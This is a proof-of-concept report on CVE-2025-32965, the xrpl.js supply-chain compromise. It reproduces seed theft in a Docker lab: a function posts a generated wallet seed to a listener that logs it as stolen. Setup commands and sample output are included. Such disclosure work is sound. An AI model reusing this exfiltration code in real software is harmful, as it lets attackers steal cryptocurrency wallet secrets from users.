CVE-2025-32965 — xrpl.js Supply Chain Attack PoC Report

Vulnerability Description

CVE Code: CVE-2025-32965
Vulnerability Type: Supply Chain Attack (CWE-506: Embedded Malicious Code)
Target: xrpl.js library versions 4.2.1–4.2.4 and 2.14.2
Impact: User's wallet seed/secret data sent to the attacker

Goal

This PoC aims to demonstrate how a malicious xrpl.js version could perform seed exfiltration in an isolated environment.

Environment Structure

Platform: Docker (WSL-based Ubuntu)
Network: Custom Docker network named xrplnet
Containers:
- poc-listener: Attacker server collecting seed data
- xrpl-poc: PoC container hosting victim-side test scripts

Files Used

package.json:

{
  "name": "xrpl-poc",
  "version": "1.0.0",
  "main": "test.js",
  "dependencies": {
    "express": "^4.18.2",
    "body-parser": "^1.20.2",
    "xrpl": "^2.7.1"
  }
}

Dockerfile:

FROM node:20
WORKDIR /app
COPY . .
RUN npm install
CMD [ "node", "test.js" ]

fake_xrpl.js:

async function checkValidityOfSeed(seed) {
  const res = await fetch("http://poc-listener:3000/xcm", {
    method: "POST",
    body: seed,
    headers: {
      "Content-Type": "text/plain",
      "User-Agent": "r3v3r5e-poc"
    }
  });
  console.log(" Seed sent:", seed);
}

module.exports = { checkValidityOfSeed };

test.js:

const xrpl = require("xrpl")
const { checkValidityOfSeed } = require("./fake_xrpl")

const wallet = xrpl.Wallet.generate()
console.log("  Generated wallet:")
console.log("Seed:", wallet.seed)
console.log("Address:", wallet.classicAddress)

checkValidityOfSeed(wallet.seed)

server.js:

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.text())

app.post("/xcm", (req, res) => {
  console.log("  Stolen SEED =>", req.body)
  res.send("OK")
})

app.listen(3000, () => {
  console.log(" Listener active: http://poc-listener:3000/xcm")
})

Steps

Docker Build:

docker build -t xrpl-poc .
docker network create xrplnet

Start the Listener:

docker run -it --rm --network xrplnet --name poc-listener xrpl-poc node server.js

Victim Seed Submission:

docker run -it --rm --network xrplnet xrpl-poc node test.js

Sample Output

Victim Terminal:

  Generated wallet:
Seed: sEd79cMs56cynRVYoXVkk1pn8uYcVqr
Address: rHvx6Xups5uR62QiC31aZeMSMnCFT62fgC
  Seed sent: sEd79cMs56cynRVYoXVkk1pn8uYcVqr

Attacker Terminal:

  Listener active: http://poc-listener:3000/xcm
  Stolen SEED => sEd79cMs56cynRVYoXVkk1pn8uYcVqr

Conclusion

This PoC has demonstrated how the CVE-2025-32965 vulnerability can be exploited in practice. The seed exfiltration code of the malicious xrpl.js library was successfully executed in an isolated test environment and data was exfiltrated to the attacker server.

GitHub Repo Structure (Recommended)

xrpl-poc/
├── Dockerfile
├── package.json
├── test.js
├── fake_xrpl.js
├── server.js
└── README.md

Prepared by: Yusuf Dalbudak Test Environment: WSL2 + Docker + Node.js v20

CVE-2025-32965-xrpl-js-poc

Most Popular